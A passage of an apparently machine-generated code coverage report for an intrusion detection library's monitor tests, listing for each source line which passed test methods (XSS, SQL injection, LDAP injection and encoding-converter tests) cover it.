class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel347": { - "header": "35 tests cover line 347", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel349": { - "header": "35 tests cover line 349", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel368": { - "header": "2 tests cover line 368", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel370": { - "header": "2 tests cover line 370", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel375": { - "header": "2 tests cover line 375", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel376": { - "header": "2 tests cover line 376", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel377": { - "header": "2 tests cover line 377", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel378": { - "header": "2 tests cover line 378", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel379": { - "header": "2 tests cover line 379", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel380": { - "header": "2 tests cover line 380", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel381": { - "header": "2 tests cover line 381", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel389": { - "header": "2 tests cover line 389", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel390": { - "header": "2 tests cover line 390", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel392": { - "header": "2 tests cover line 392", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel393": { - "header": "2 tests cover line 393", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel395": { - "header": "2 tests cover line 395", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel396": { - "header": "2 tests cover line 396", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel397": { - "header": "2 tests cover line 397", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel400": { - "header": "2 tests cover line 400", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel403": { - "header": "2 tests cover line 403", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel406": { - "header": "2 tests cover line 406", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel426": { - "header": "2 tests cover line 426", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel427": { - "header": "2 tests cover line 427", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel429": { - "header": "2 tests cover line 429", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel430": { - "header": "2 tests cover line 430", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel433": { - "header": "2 tests cover line 433", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel438": { - "header": "2 tests cover line 438", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel439": { - "header": "2 tests cover line 439", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel440": { - "header": "2 tests cover line 440", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel441": { - "header": "2 tests cover line 441", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel442": { - "header": "2 tests cover line 442", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel443": { - "header": "2 tests cover line 443", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel445": { - "header": "2 tests cover line 445", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel446": { - "header": "2 tests cover line 446", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel447": { - "header": "2 tests cover line 447", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel448": { - "header": "2 tests cover line 448", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel449": { - "header": "2 tests cover line 449", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel450": { - "header": "2 tests cover line 450", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel451": { - "header": "2 tests cover line 451", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel454": { - "header": "2 tests cover line 454", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel455": { - "header": "2 tests cover line 455", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel458": { - "header": "2 tests cover line 458", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel461": { - "header": "2 tests cover line 461", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel462": { - "header": "2 tests cover line 462", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel464": { - "header": "2 tests cover line 464", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel465": { - "header": "1 test covers line 465", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel468": { - "header": "2 tests cover line 468", - "body": "<ul><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel484": { - "header": "1 test covers line 484", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel485": { - "header": "1 test covers line 485", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel487": { - "header": "1 test covers line 487", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel488": { - "header": "1 test covers line 488", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel489": { - "header": "1 test covers line 489", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel490": { - "header": "1 test covers line 490", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel492": { - "header": "1 test covers line 492", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel497": { - "header": "1 test covers line 497", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel512": { - "header": "1 test covers line 512", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel513": { - "header": "1 test covers line 513", - "body": "<ul><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel526": { - "header": "35 tests cover line 526", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel527": { - "header": "1 test covers line 527", - "body": "<ul><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel528": { - "header": "1 test covers line 528", - "body": "<ul><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel530": { - "header": "1 test covers line 530", - "body": "<ul><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel532": { - "header": "35 tests cover line 532", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel533": { - "header": "33 tests cover line 533", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel536": { - "header": "35 tests cover line 536", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li 